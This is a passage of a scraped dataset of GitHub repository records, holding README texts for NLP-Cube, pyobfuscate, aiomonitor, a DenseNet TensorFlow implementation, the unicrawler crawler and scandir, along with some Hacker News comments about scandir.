dependencies.\"\n\n\n# Parse using the default flavour (in this case EWT)\ndocument=cube(text)            # call with your own text (string) to obtain the annotations\n# or you can specify a flavour\ndocument=cube(text, flavour='en_lines') \n```\n\n### Webserver Usage \nThe current version dropped supported, since most people preferred to implement their one NLPCube as a service.\n\n## Cite\n\nIf you use NLP-Cube in your research we would be grateful if you would cite the following paper: \n* [**NLP-Cube: End-to-End Raw Text Processing With Neural Networks**](http://www.aclweb.org/anthology/K18-2017), Boro\u0219, Tiberiu and Dumitrescu, Stefan Daniel and Burtica, Ruxandra, Proceedings of the CoNLL 2018 Shared Task: Multilingual Parsing from Raw Text to Universal Dependencies, Association for Computational Linguistics. p. 171--179. October 2018 \n\nor, in bibtex format: \n\n```\n@InProceedings{boro-dumitrescu-burtica:2018:K18-2,\n  author    = {Boro\u0219, Tiberiu  and  Dumitrescu, Stefan Daniel  and  Burtica, Ruxandra},\n  title     = {{NLP}-Cube: End-to-End Raw Text Processing With Neural Networks},\n  booktitle = {Proceedings of the {CoNLL} 2018 Shared Task: Multilingual Parsing from Raw Text to Universal Dependencies},\n  month     = {October},\n  year      = {2018},\n  address   = {Brussels, Belgium},\n  publisher = {Association for Computational Linguistics},\n  pages     = {171--179},\n  abstract  = {We introduce NLP-Cube: an end-to-end Natural Language Processing framework, evaluated in CoNLL's \"Multilingual Parsing from Raw Text to Universal Dependencies 2018\" Shared Task. It performs sentence splitting, tokenization, compound word expansion, lemmatization, tagging and parsing. Based entirely on recurrent neural networks, written in Python, this ready-to-use open source system is freely available on GitHub. For each task we describe and discuss its specific network architecture, closing with an overview on the results obtained in the competition.},\n  url       = {http://www.aclweb.org/anthology/K18-2017}\n}\n```\n\n\n## Languages and performance\n\nFor comparison, the performance of 3.0 models is reported on the 2.2 UD corpus, but distributed models are obtained from UD 2.7.\n\nResults are reported against the test files for each language (available in the UD 2.2 corpus) using the 2018 conll eval script. Please see more info about what [each metric represents here](http://universaldependencies.org/conll18/evaluation.html). \n\nNotes: \n* version 1.1 of the models no longer need the large external vector embedding files. This makes loading the 1.1 models faster and less RAM-intensive.\n* all reported results here are end-2-end. (e.g. we test the tagging accuracy on our own segmented text, as this is the real use-case; CoNLL results are mostly reported on \"gold\" - or pre-segmented text, leading to higher accuracy for the tagger/parser/etc.)\n\n|Language|Model|Token|Sentence|UPOS|XPOS|AllTags|Lemmas|UAS|LAS|\n|--------|-----|:---:|:------:|:--:|:--:|:-----:|:----:|:-:|:-:|\n|Chinese|\n| |zh-1.0|93.03|99.10|88.22|88.15|86.91|92.74|73.43|69.52|\n| |zh-1.1|92.34|99.10|86.75|86.66|85.35|92.05|71.00|67.04|\n| |zh.3.0|95.88|87.36|91.67|83.54|82.74|85.88|79.15|70.08|\n|English|\n| |en-1.0|99.25|72.8|95.34|94.83|92.48|95.62|84.7|81.93|\n| |en-1.1|99.2|70.94|94.4|93.93|91.04|95.18|83.3|80.32|\n| |en-3.0|98.95|75.00|96.01|95.71|93.75|96.06|87.06|84.61|\n|French|\n| |fr-1.0|99.68|94.2|92.61|95.46|90.79|93.08|84.96|80.91|\n| |fr-1.1|99.67|95.31|92.51|95.45|90.8|93.0|83.88|80.16|\n| |fr-3.0|99.71|93.92|97.33|99.56|96.61|90.79|89.81|87.24|\n|German|\n| |de-1.0|99.7|81.19|91.38|94.26|80.37|75.8|79.6|74.35|\n| |de-1.1|99.77|81.99|90.47|93.82|79.79|75.46|79.3|73.87|\n| |de-3.0|99.77|86.25|94.70|97.00|85.02|82.73|87.08|82.69|\n|Hungarian|\n| |hu-1.0|99.8|94.18|94.52|99.8|86.22|91.07|81.57|75.95|\n| |hu-1.1|99.88|97.77|93.11|99.88|86.79|91.18|77.89|70.94|\n| |hu-3.0|99.75|91.64|96.43|99.75|89.89|91.31|86.34|81.29|\n|Italian|\n| |it-1.0|99.89|98.14|86.86|86.67|84.97|87.03|78.3|74.59|\n| |it-1.1|99.92|99.07|86.58|86.4|84.53|86.75|76.38|72.35|\n| |it-3.0|99.92|98.13|98.26|98.15|97.34|97.76|94.07|92.66|\n|Romanian (RO-RRT)|\n| |ro-1.0|99.74|95.56|97.42|96.59|95.49|96.91|90.38|85.23|\n| |ro-1.1|99.71|95.42|96.96|96.32|94.98|96.57|90.14|85.06|\n| |ro-3.0|99.80|95.64|97.67|97.11|96.76|97.55|92.06|87.67|\n|Spanish|\n| |es-1.0|99.98|98.32|98.0|98.0|96.62|98.05|90.53|88.27|\n| |es-1.1|99.98|98.40|98.01|98.00|96.6|97.99|90.51|88.16|\n| |es-3.0|99.96|97.17|96.88|99.91|94.88|98.17|92.11|89.86|\n\n\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "astrand/pyobfuscate", "link": "https://github.com/astrand/pyobfuscate", "tags": [], "stars": 509, "description": "pyobfuscate", "lang": "Python", "repo_lang": "", "readme": "\npyobfuscate - Python source code obfuscator\n===========================================\n\npyobfuscate is a source code obfuscator: It makes Python source code\nhard to read for humans, while still being executable for the Python\ninterpreter. \n\n\nWhy obfuscate?\n--------------\n\nObfuscation makes little sense for Open Source\n(http://www.opensource.org/) programs, but vendors developing\ncommercial applications are usually not happy with shipping the\noriginal source code to customers. \n\nSeveral obfuscators for other languages, like Java, already\nexists. With Python, the problem is even more severe than with Java,\nbecause Python bytecode is not compatible between different Python\nversions. Also, bytecode is very easy to \"decompile\" to source code by\nusing \"decompyle\": http://www.crazy-compilers.com/decompyle/.\n\nIf shipping original source code is the only option for distributing\nPython applications, then many vendors might choose another\nprogramming language instead. \n\n\nWhat does pyobfuscate do?\n-------------------------\n\npyobfuscate transforms the source code in several ways. Some of these\ntransformations are reversible (can be \"un-obfuscated\"); some are\nnot. Here's a list of what pyobfuscate currently does:\n\n* Removes comments and docstrings (not reversible)\n\n* Changes indentation (reversible)\n\n* Adds whitespace between tokens (somewhat reversible)\n\n* Renames functions, classes and variables (not reversible)\n\n* Inserts bogus lines instead of blank lines. \n\n\nLimitations\n-----------\n\npyobfuscate operates on one single source file at a time. It does not\nobfuscate the interface between several files. \n\npyobfuscate cannot obfuscate methods, class variables or other\nattributes, currently. See the TODO for more information.\n\n\n", "readme_type": "text", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "aio-libs/aiomonitor", "link": "https://github.com/aio-libs/aiomonitor", "tags": ["asyncio", "uvloop", "async-await", "mypy"], "stars": 507, "description": "aiomonitor is module that adds monitor and python REPL capabilities for asyncio application", "lang": "Python", "repo_lang": "", "readme": "aiomonitor\n==========\n.. image:: https://travis-ci.com/aio-libs/aiomonitor.svg?branch=master\n    :target: https://travis-ci.com/aio-libs/aiomonitor\n.. image:: https://codecov.io/gh/aio-libs/aiomonitor/branch/master/graph/badge.svg\n    :target: https://codecov.io/gh/aio-libs/aiomonitor\n.. image:: https://api.codeclimate.com/v1/badges/d14af4cfb0c4ff52b1ef/maintainability\n   :target: https://codeclimate.com/github/aio-libs/aiomonitor/maintainability\n   :alt: Maintainability\n.. image:: https://img.shields.io/pypi/v/aiomonitor.svg\n    :target: https://pypi.python.org/pypi/aiomonitor\n.. image:: https://readthedocs.org/projects/aiomonitor/badge/?version=latest\n    :target: http://aiomonitor.readthedocs.io/en/latest/?badge=latest\n    :alt: Documentation Status\n.. image:: https://badges.gitter.im/Join%20Chat.svg\n    :target: https://gitter.im/aio-libs/Lobby\n    :alt: Chat on Gitter\n\n**aiomonitor** is a Python 3.5+ module that adds monitor and cli capabilities\nfor asyncio_ applications. Idea and code were borrowed from curio_ project.\nTask monitor that runs concurrently to the asyncio_ loop (or fast drop-in\nreplacement uvloop_) in a separate thread as result monitor will work even if\nthe event loop is blocked for some reason.\n\nThis library provides a python console using aioconsole_ module. It is possible\nto execute asynchronous commands inside your running application. Extensible\nwith you own commands, in the style of the standard library's cmd_ module\n\n+--------------------------------------------------------------------------------------+\n| .. image:: https://raw.githubusercontent.com/aio-libs/aiomonitor/master/docs/tty.gif |\n+--------------------------------------------------------------------------------------+\n\nInstallation\n------------\nInstallation process is simple, just::\n\n    $ pip install aiomonitor\n\n\nExample\n-------\nMonitor has context manager interface:\n\n.. code:: python\n\n    import aiomonitor\n\n    loop = asyncio.get_event_loop()\n    with aiomonitor.start_monitor(loop=loop):\n        loop.run_forever()\n\nNow from separate terminal it is possible to connect to the application::\n\n    $ nc localhost 50101\n    \n\nTo make arrow keys working properly you can use the `rlwrap` trick:\n\n    $ rlwrap nc localhost 50101\n    \n\nor the included python client::\n\n    $ python -m aiomonitor.cli\n    \n    \n    \n\nTutorial\n--------\n\nLet's create a simple aiohttp_ application, and see how ``aiomonitor`` can\nbe integrated with it.\n\n.. code:: python\n\n    import asyncio\n\n    import aiomonitor\n    from aiohttp import web\n\n    # Simple handler that returns response after 100s\n    async def simple(request):\n        loop = request.app.loop\n\n        print('Start sleeping')\n        await asyncio.sleep(100, loop=loop)\n        return web.Response(text=\"Simple answer\")\n\n    loop = asyncio.get_event_loop()\n    # create application and register route\n    app = web.Application(loop=loop)\n    app.router.add_get('/simple', simple)\n\n    # it is possible to pass a dictionary with local variables\n    # to the python console environment\n    host, port = \"localhost\", 8090\n    locals_ = {\"port\": port, \"host\": host}\n    # init monitor just before run_app\n    with aiomonitor.start_monitor(loop=loop, locals=locals_):\n        # run application with built-in aiohttp run_app function\n        web.run_app(app, port=port, host=host)\n\nLet's save this code in file ``simple_srv.py``, so we can run it with the following command::\n\n    $ python simple_srv.py\n    ======== Running on http://localhost:8090 ========\n    (Press CTRL+C to quit)\n\nAnd now one can connect to a running application from a separate terminal, with\nthe ``nc`` command, and ``aiomonitor`` will immediately respond with prompt::\n\n    $ nc localhost 50101\n    Asyncio Monitor: 1 tasks running\n    Type help for commands\n    monitor >>>\n\n\nNote in order to make arrow keys and editing work properly just prepend command with `rlwrap`::\n\n    $ rlwrap nc localhost 50101\n\n\nNow you can type commands, for instance, ``help``::\n\n    monitor >>> help\n    Commands:\n                 ps               : Show task table\n                 where taskid     : Show stack frames for a task\n                 cancel taskid    : Cancel an indicated task\n                 signal signame   : Send a Unix signal\n                 stacktrace       : Print a stack trace from the event loop thread\n                 console          : Switch to async Python REPL\n                 quit             : Leave the monitor\n\n``aiomonitor`` also supports async python console inside a running event loop\nso you can explore the state of your application::\n\n    monitor >>> console\n    Python 3.5.2 (default, Oct 11 2016, 05:05:28)\n    [GCC 4.2.1 Compatible Apple LLVM 8.0.0 (clang-800.0.38)] on darwin\n    Type \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n    ---\n    This console is running in an asyncio event loop.\n    It allows you to wait for coroutines using the 'await' syntax.\n    Try: await asyncio.sleep(1, result=3, loop=loop)\n    ---\n    >>> await asyncio.sleep(1, result=3, loop=loop)\n\nTo leave the console type ``exit()``::\n\n    >>> exit()\n    monitor >>>\n\n\n``aiomonitor`` is very easy to extend with your own console commands.\n\n.. code:: python\n\n   class WebMonitor(aiomonitor.Monitor):\n       def do_hello(self, sin, sout, name=None):\n           \"\"\"Using the /hello GET interface\n\n           There is one optional argument, \"name\".  This name argument must be\n           provided with proper URL excape codes, like %20 for spaces.\n           \"\"\"\n           name = '' if name is None else '/' + name\n           r = requests.get('http://localhost:8090/hello' + name)\n           sout.write(r.text + '\\n')\n\n\nRequirements\n------------\n\n* Python_ 3.5+\n* aioconsole_\n* uvloop_ (optional)\n\n\n.. _PEP492: https://www.python.org/dev/peps/pep-0492/\n.. _Python: https://www.python.org\n.. _aioconsole: https://github.com/vxgmichel/aioconsole\n.. _aiohttp: https://github.com/KeepSafe/aiohttp\n.. _asyncio: http://docs.python.org/3.5/library/asyncio.html\n.. _curio: https://github.com/dabeaz/curio\n.. _uvloop: https://github.com/MagicStack/uvloop\n.. _cmd: http://docs.python.org/3/library/cmd.html\n", "readme_type": "rst", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "taki0112/Densenet-Tensorflow", "link": "https://github.com/taki0112/Densenet-Tensorflow", "tags": ["densenet", "tensorflow", "densenet-tensorflow"], "stars": 507, "description": "Simple Tensorflow implementation of Densenet using Cifar10, MNIST", "lang": "Python", "repo_lang": "", "readme": "# Densenet-Tensorflow\nTensorflow implementation of [Densenet](https://arxiv.org/abs/1608.06993) using **Cifar10, MNIST**\n* The code that implements *this paper* is ***Densenet.py***\n* There is a *slight difference*, I used ***AdamOptimizer***\n\nIf you want to see the ***original author's code*** or ***other implementations***, please refer to this [link](https://github.com/liuzhuang13/DenseNet)\n\n## Requirements\n* Tensorflow 1.x\n* Python 3.x\n* tflearn (If you are easy to use ***global average pooling***, you should install ***tflearn***\n```bash\nHowever, I implemented it using tf.layers, so don't worry\n```\n## Issue\n* I used ***tf.contrib.layers.batch_norm***\n```python\n    def Batch_Normalization(x, training, scope):\n        with arg_scope([batch_norm],\n                       scope=scope,\n                       updates_collections=None,\n                       decay=0.9,\n                       center=True,\n                       scale=True,\n                       zero_debias_moving_mean=True) :\n            return tf.cond(training,\n                           lambda : batch_norm(inputs=x, is_training=training, reuse=None),\n                           lambda : batch_norm(inputs=x, is_training=training, reuse=True))\n```\n\n* If not enough GPU memory, Please edit the code\n```python\nwith tf.Session() as sess : NO\nwith tf.Session(config=tf.ConfigProto(allow_soft_placement=True)) as sess : OK\n```\n\n* https://github.com/taki0112/Densenet-Tensorflow/issues/10\n\n## Idea\n### What is the \"Global Average Pooling\" ? \n```python\n    def Global_Average_Pooling(x, stride=1) :\n        width = np.shape(x)[1]\n        height = np.shape(x)[2]\n        pool_size = [width, height]\n        return tf.layers.average_pooling2d(inputs=x, pool_size=pool_size, strides=stride) \n        # The stride value does not matter\n````\n* If you use tflearn, please refer to this [link](http://tflearn.org/layers/conv/#global-average-pooling)\n```python\n    def Global_Average_Pooling(x):\n        return tflearn.layers.conv.global_avg_pool(x, name='Global_avg_pooling')\n```\n\n### What is the \"Dense Connectivity\" ?\n![Dense_connectivity](./assests/densenet.JPG)\n\n### What is the \"Densenet Architecture\" ?\n![Dense_Architecture](./assests/densenet_Archi.JPG)\n```python\n    def Dense_net(self, input_x):\n        x = conv_layer(input_x, filter=2 * self.filters, kernel=[7,7], stride=2, layer_name='conv0')\n        x = Max_Pooling(x, pool_size=[3,3], stride=2)\n\n        x = self.dense_block(input_x=x, nb_layers=6, layer_name='dense_1')\n        x = self.transition_layer(x, scope='trans_1')\n\n        x = self.dense_block(input_x=x, nb_layers=12, layer_name='dense_2')\n        x = self.transition_layer(x, scope='trans_2')\n\n        x = self.dense_block(input_x=x, nb_layers=48, layer_name='dense_3')\n        x = self.transition_layer(x, scope='trans_3')\n\n        x = self.dense_block(input_x=x, nb_layers=32, layer_name='dense_final') \n        \n        x = Batch_Normalization(x, training=self.training, scope='linear_batch')\n        x = Relu(x)\n        x = Global_Average_Pooling(x)\n        x = Linear(x)\n\n        return x\n```\n\n### What is the \"Dense Block\" ?\n![Dense_block](./assests/Denseblock.JPG)\n```python\n    def dense_block(self, input_x, nb_layers, layer_name):\n        with tf.name_scope(layer_name):\n            layers_concat = list()\n            layers_concat.append(input_x)\n\n            x = self.bottleneck_layer(input_x, scope=layer_name + '_bottleN_' + str(0))\n\n            layers_concat.append(x)\n\n            for i in range(nb_layers - 1):\n                x = Concatenation(layers_concat)\n                x = self.bottleneck_layer(x, scope=layer_name + '_bottleN_' + str(i + 1))\n                layers_concat.append(x)\n\n            x = Concatenation(layers_concat)\n            \n            return x\n```\n\n### What is the \"Bottleneck Layer\" ?\n```python\n    def bottleneck_layer(self, x, scope):\n        with tf.name_scope(scope):\n            x = Batch_Normalization(x, training=self.training, scope=scope+'_batch1')\n            x = Relu(x)\n            x = conv_layer(x, filter=4 * self.filters, kernel=[1,1], layer_name=scope+'_conv1')\n            x = Drop_out(x, rate=dropout_rate, training=self.training)\n\n            x = Batch_Normalization(x, training=self.training, scope=scope+'_batch2')\n            x = Relu(x)\n            x = conv_layer(x, filter=self.filters, kernel=[3,3], layer_name=scope+'_conv2')\n            x = Drop_out(x, rate=dropout_rate, training=self.training)\n            \n            return x\n```\n\n### What is the \"Transition Layer\" ?\n```python\n    def transition_layer(self, x, scope):\n        with tf.name_scope(scope):\n            x = Batch_Normalization(x, training=self.training, scope=scope+'_batch1')\n            x = Relu(x)\n            x = conv_layer(x, filter=self.filters, kernel=[1,1], layer_name=scope+'_conv1')\n            x = Drop_out(x, rate=dropout_rate, training=self.training)\n            x = Average_pooling(x, pool_size=[2,2], stride=2)\n\n            return x\n```\n\n## Compare Structure (CNN, ResNet, DenseNet)\n![compare](./assests/compare.JPG)\n\n## Results\n* (***MNIST***) The highest test accuracy is ***99.2%*** (This result does ***not use dropout***)\n* The number of dense block layers is fixed to ***4***\n```python\n    for i in range(self.nb_blocks) :\n        # original : 6 -> 12 -> 48\n\n        x = self.dense_block(input_x=x, nb_layers=4, layer_name='dense_'+str(i))\n        x = self.transition_layer(x, scope='trans_'+str(i))\n```\n\n### CIFAR-10\n![cifar_10](./assests/cifar_10_.JPG)\n\n### CIFAR-100\n![cifar_100](./assests/cifar_100_.JPG)\n\n### Image Net\n![image_net](./assests/Image_net_.JPG)\n\n## Related works\n* [ResNeXt-Tensorflow](https://github.com/taki0112/ResNeXt-Tensorflow)\n* [SENet-Tensorflow](https://github.com/taki0112/SENet-Tensorflow)\n* [ResNet-Tensorflow](https://github.com/taki0112/ResNet-Tensorflow)\n\n## References\n* [Korean](https://www.youtube.com/watch?v=fe2Vn0mwALI)\n* [English](https://www.youtube.com/watch?v=-W6y8xnd--U)\n* [Classification Datasets Results](http://rodrigob.github.io/are_we_there_yet/build/classification_datasets_results.html)\n\n## Author\nJunho Kim\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "yijingping/unicrawler", "link": "https://github.com/yijingping/unicrawler", "tags": [], "stars": 507, "description": "\u4e00\u4e2a\u901a\u7528\u7684\u53ef\u914d\u7f6e\u7684\u722c\u866b\u6846\u67b6", "lang": "Python", "repo_lang": "", "readme": "# unicrawler\n\u4e00\u4e2a\u901a\u7528\u7684\u53ef\u914d\u7f6e\u7684\u7684\u722c\u866b\n\n# \u5b89\u88c5\n\n1\uff09python\u73af\u5883, \u68c0\u67e5python\u7684\u7248\u672c\uff0c\u662f\u5426\u4e3a2.7.x\uff0c\u5982\u679c\u4e0d\u662f\uff0c\u5b89\u88c52.7.6\u3002\n\ncentos 6.x \u5347\u7ea7python2.6\u5230python2.7,\u53c2\u8003\u6559\u7a0b http://ruiaylin.github.io/2014/12/12/python%20update/\n\n2\uff09\u5b89\u88c5\u4f9d\u8d56\u5305, clone\u4ee3\u7801\n\nMysql-python\u4f9d\u8d56\n```\nyum install python-devel mysql-devel gcc\n```\n\nlxml\u4f9d\u8d56\n```\nyum install libxslt-devel libxml2-devel\n```\n\n\u5b89\u88c5\u6d4f\u89c8\u5668\u73af\u5883 selenium\u4f9d\u8d56\n```\nyum install xorg-x11-server-Xvfb\nyum install firefox\n```\n\nclone\u4ee3\u7801,\u5b89\u88c5\u4f9d\u8d56python\u5e93\n```\n$ git clone https://github.com/yijingping/unicrawler.git\n$ cd unicrawler\n$ pip install -r requirements.txt\n```\n\n3) \u521d\u59cb\u5316mysql\n\na) \u5b89\u88c5mysql-server\u540e\uff0c\u8bb0\u5f97\u8bbe\u7f6e\u5b57\u7b26\u4e3autf8mb4\u3002\u5728my.cnf\u4e2d\u8bbe\u7f6e\uff1a\n\n```\n[client]\ndefault-character-set = utf8mb4\n\n[mysql]\ndefault-character-set = utf8mb4\n\n[mysqld]\ncharacter-set-client-handshake = FALSE\ncharacter-set-server = utf8mb4\ncollation-server = utf8mb4_unicode_ci\n```\n\nb) \u91cd\u542f\u6570\u636e\u5e93\n\nc) \u521b\u5efa\u6570\u636e\u5e93unicrawler\n\n```\nmysql> CREATE DATABASE `unicrawler` CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;\n```\n\nd) \u521d\u59cb\u5316\u8868\n```\n$ python manage.py migrate\n```\n\n5\uff09\u8fd0\u884c\n\n```\npython manage.py runserver 0.0.0.0:8001\n```\n\u8bbf\u95ee http://localhost:8001/\u3002 \u6d4b\u8bd5\u6ca1\u95ee\u9898\u540e\uff0c\u53c2\u8003\u540e\u9762\u7684supervisor\u811a\u672c\u542f\u52a8\u3002\n\n# \u90e8\u7f72nginx\n\u524d\u671f\u5148\u7528nginx\u5c06\u57df\u540dwww.mydomain.com\u8f6c\u53d1\u52308001\u7aef\u53e3\u3002\n\n# \u90e8\u7f72supervisor\u811a\u672c\n\u53c2\u8003\u6587\u4ef6 `supervisord.conf`\n\n# \u90e8\u7f72crontab\u811a\u672c\n\u53c2\u8003\u6587\u4ef6 `crontab`\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "benhoyt/scandir", "link": "https://github.com/benhoyt/scandir", "tags": ["scandir", "python", "directory", "iterator", "performance"], "stars": 507, "description": "Better directory iterator and faster os.walk(), now in the Python 3.5 stdlib", "lang": "Python", "repo_lang": "", "readme": "\nscandir, a better directory iterator and faster os.walk()\n=========================================================\n\n.. image:: https://img.shields.io/pypi/v/scandir.svg\n   :target: https://pypi.org/project/scandir/\n   :alt: scandir on PyPI (Python Package Index)\n\n.. image:: https://github.com/benhoyt/scandir/actions/workflows/tests.yml/badge.svg\n   :target: https://github.com/benhoyt/scandir/actions/workflows/tests.yml\n   :alt: GitHub Actions Tests\n\n\n``scandir()`` is a directory iteration function like ``os.listdir()``,\nexcept that instead of returning a list of bare filenames, it yields\n``DirEntry`` objects that include file type and stat information along\nwith the name. Using ``scandir()`` increases the speed of ``os.walk()``\nby 2-20 times (depending on the platform and file system) by avoiding\nunnecessary calls to ``os.stat()`` in most cases.\n\n\nNow included in a Python near you!\n----------------------------------\n\n``scandir`` has been included in the Python 3.5 standard library as\n``os.scandir()``, and the related performance improvements to\n``os.walk()`` have also been included. So if you're lucky enough to be\nusing Python 3.5 (release date September 13, 2015) you get the benefit\nimmediately, otherwise just\n`download this module from PyPI <https://pypi.python.org/pypi/scandir>`_,\ninstall it with ``pip install scandir``, and then do something like\nthis in your code:\n\n.. code-block:: python\n\n    # Use the built-in version of scandir/walk if possible, otherwise\n    # use the scandir module version\n    try:\n        from os import scandir, walk\n    except ImportError:\n        from scandir import scandir, walk\n\n`PEP 471 <https://www.python.org/dev/peps/pep-0471/>`_, which is the\nPEP that proposes including ``scandir`` in the Python standard library,\nwas `accepted <https://mail.python.org/pipermail/python-dev/2014-July/135561.html>`_\nin July 2014 by Victor Stinner, the BDFL-delegate for the PEP.\n\nThis ``scandir`` module is intended to work on Python 2.7+ and Python\n3.4+ (and it has been tested on those versions).\n\n\nBackground\n----------\n\nPython's built-in ``os.walk()`` is significantly slower than it needs to be,\nbecause -- in addition to calling ``listdir()`` on each directory -- it calls\n``stat()`` on each file to determine whether the filename is a directory or not.\nBut both ``FindFirstFile`` / ``FindNextFile`` on Windows and ``readdir`` on Linux/OS\nX already tell you whether the files returned are directories or not, so\nno further ``stat`` system calls are needed. In short, you can reduce the number\nof system calls from about 2N to N, where N is the total number of files and\ndirectories in the tree.\n\nIn practice, removing all those extra system calls makes ``os.walk()`` about\n**7-50 times as fast on Windows, and about 3-10 times as fast on Linux and Mac OS\nX.** So we're not talking about micro-optimizations. See more benchmarks\nin the \"Benchmarks\" section below.\n\nSomewhat relatedly, many people have also asked for a version of\n``os.listdir()`` that yields filenames as it iterates instead of returning them\nas one big list. This improves memory efficiency for iterating very large\ndirectories.\n\nSo as well as a faster ``walk()``, scandir adds a new ``scandir()`` function.\nThey're pretty easy to use, but see \"The API\" below for the full docs.\n\n\nBenchmarks\n----------\n\nBelow are results showing how many times as fast ``scandir.walk()`` is than\n``os.walk()`` on various systems, found by running ``benchmark.py`` with no\narguments:\n\n====================   ==============   =============\nSystem version         Python version   Times as fast\n====================   ==============   =============\nWindows 7 64-bit       2.7.7 64-bit     10.4\nWindows 7 64-bit SSD   2.7.7 64-bit     10.3\nWindows 7 64-bit NFS   2.7.6 64-bit     36.8\nWindows 7 64-bit SSD   3.4.1 64-bit     9.9\nWindows 7 64-bit SSD   3.5.0 64-bit     9.5\nUbuntu 14.04 64-bit    2.7.6 64-bit     5.8\nMac OS X 10.9.3        2.7.5 64-bit     3.8\n====================   ==============   =============\n\nAll of the above tests were done using the fast C version of scandir\n(source code in ``_scandir.c``).\n\nNote that the gains are less than the above on smaller directories and greater\non larger directories. This is why ``benchmark.py`` creates a test directory\ntree with a standardized size.\n\n\nThe API\n-------\n\nwalk()\n~~~~~~\n\nThe API for ``scandir.walk()`` is exactly the same as ``os.walk()``, so just\n`read the Python docs <https://docs.python.org/3.5/library/os.html#os.walk>`_.\n\nscandir()\n~~~~~~~~~\n\nThe full docs for ``scandir()`` and the ``DirEntry`` objects it yields are\navailable in the `Python documentation here <https://docs.python.org/3.5/library/os.html#os.scandir>`_. \nBut below is a brief summary as well.\n\n    scandir(path='.') -> iterator of DirEntry objects for given path\n\nLike ``listdir``, ``scandir`` calls the operating system's directory\niteration system calls to get the names of the files in the given\n``path``, but it's different from ``listdir`` in two ways:\n\n* Instead of returning bare filename strings, it returns lightweight\n  ``DirEntry`` objects that hold the filename string and provide\n  simple methods that allow access to the additional data the\n  operating system may have returned.\n\n* It returns a generator instead of a list, so that ``scandir`` acts\n  as a true iterator instead of returning the full list immediately.\n\n``scandir()`` yields a ``DirEntry`` object for each file and\nsub-directory in ``path``. Just like ``listdir``, the ``'.'``\nand ``'..'`` pseudo-directories are skipped, and the entries are\nyielded in system-dependent order. Each ``DirEntry`` object has the\nfollowing attributes and methods:\n\n* ``name``: the entry's filename, relative to the scandir ``path``\n  argument (corresponds to the return values of ``os.listdir``)\n\n* ``path``: the entry's full path name (not necessarily an absolute\n  path) -- the equivalent of ``os.path.join(scandir_path, entry.name)``\n\n* ``is_dir(*, follow_symlinks=True)``: similar to\n  ``pathlib.Path.is_dir()``, but the return value is cached on the\n  ``DirEntry`` object; doesn't require a system call in most cases;\n  don't follow symbolic links if ``follow_symlinks`` is False\n\n* ``is_file(*, follow_symlinks=True)``: similar to\n  ``pathlib.Path.is_file()``, but the return value is cached on the\n  ``DirEntry`` object; doesn't require a system call in most cases; \n  don't follow symbolic links if ``follow_symlinks`` is False\n\n* ``is_symlink()``: similar to ``pathlib.Path.is_symlink()``, but the\n  return value is cached on the ``DirEntry`` object; doesn't require a\n  system call in most cases\n\n* ``stat(*, follow_symlinks=True)``: like ``os.stat()``, but the\n  return value is cached on the ``DirEntry`` object; does not require a\n  system call on Windows (except for symlinks); don't follow symbolic links\n  (like ``os.lstat()``) if ``follow_symlinks`` is False\n\n* ``inode()``: return the inode number of the entry; the return value\n  is cached on the ``DirEntry`` object\n\nHere's a very simple example of ``scandir()`` showing use of the\n``DirEntry.name`` attribute and the ``DirEntry.is_dir()`` method:\n\n.. code-block:: python\n\n    def subdirs(path):\n        \"\"\"Yield directory names not starting with '.' under given path.\"\"\"\n        for entry in os.scandir(path):\n            if not entry.name.startswith('.') and entry.is_dir():\n                yield entry.name\n\nThis ``subdirs()`` function will be significantly faster with scandir\nthan ``os.listdir()`` and ``os.path.isdir()`` on both Windows and POSIX\nsystems, especially on medium-sized or large directories.\n\n\nFurther reading\n---------------\n\n* `The Python docs for scandir <https://docs.python.org/3.5/library/os.html#os.scandir>`_\n* `PEP 471 <https://www.python.org/dev/peps/pep-0471/>`_, the\n  (now-accepted) Python Enhancement Proposal that proposed adding\n  ``scandir`` to the standard library -- a lot of details here,\n  including rejected ideas and previous discussion\n\n\nFlames, comments, bug reports\n-----------------------------\n\nPlease send flames, comments, and questions about scandir to Ben Hoyt:\n\nhttp://benhoyt.com/\n\nFile bug reports for the version in the Python 3.5 standard library\n`here <https://docs.python.org/3.5/bugs.html>`_, or file bug reports\nor feature requests for this module at the GitHub project page:\n\nhttps://github.com/benhoyt/scandir\n", "readme_type": "rst", "hn_comments": "Nice to read this man thanks! Interesting to see your experience in this process and what it's like to contribute to such a project. I've stopped writing alot of python code admitedly because i prefer to torture myself with unnecesarily tedious things... but i like how python evolves, and this kind of contributions are really important and what makes me feel python is one of the more powerfull scripting / programming tools if you're not writing in machine native codes. thanks for the writeup, and ofcourse your contribution to improving all of our codez =]<HN_SEP>Very interesting. I just benchmarked this (the python2.7 module only) with an internal application that walks over filesystems and found scandir.walk() to, inexplicably, be slightly slower than the os.walk().I think part of the issue (though I've not tested this yet) is that we're stat()-ing every single file anyway so with os cache considered, it really ends up not mattering anyway.I thought the additional cost of the extra system calls (even if they were entirely cached in memory) would add up, but, it seems like something the scandir module is doing is just less efficient in general.Devising some much simpler and more controllable tests (but still with our exact workload) and testing more though.<HN_SEP>Thanks for the write-up. It does a good job of communicating:* the joys of contributing to Python* how time and labor intensive the process can be* the complexities of dealing with multiple operating systems* what it is like to be alternately helped or hindered by other developers<HN_SEP>That was a great write-up. I liked how you not only covered the technical details, but the human details, too -- how to get your idea noticed by python-dev, how to gain early adoption.<HN_SEP>I think the additional windows attributes initiated here:https://github.com/benhoyt/scandir/issues/22(Source: It was my issue :) )I was long using the project since it was named betterwalk and was very glad to see PEP 471 approved. Great work Ben.(Now I just need to upgrade the project I use it in to 3.5)<HN_SEP>I think that sort of thing is an often-underappreciated benefit of Python as an ecosystem - it has a well-defined procedure for adding and changing things to core language and library, that strikes a pretty good balance between agility and prudence, and generally yields great results.<HN_SEP>This issue has been looked into decades ago.NFSv3 introduced READDIRPLUS in 1995: https://tools.ietf.org/html/rfc1813#section-3.3.17FUSEv3 (the library) will have support for such a call. It is already in the git repository ( 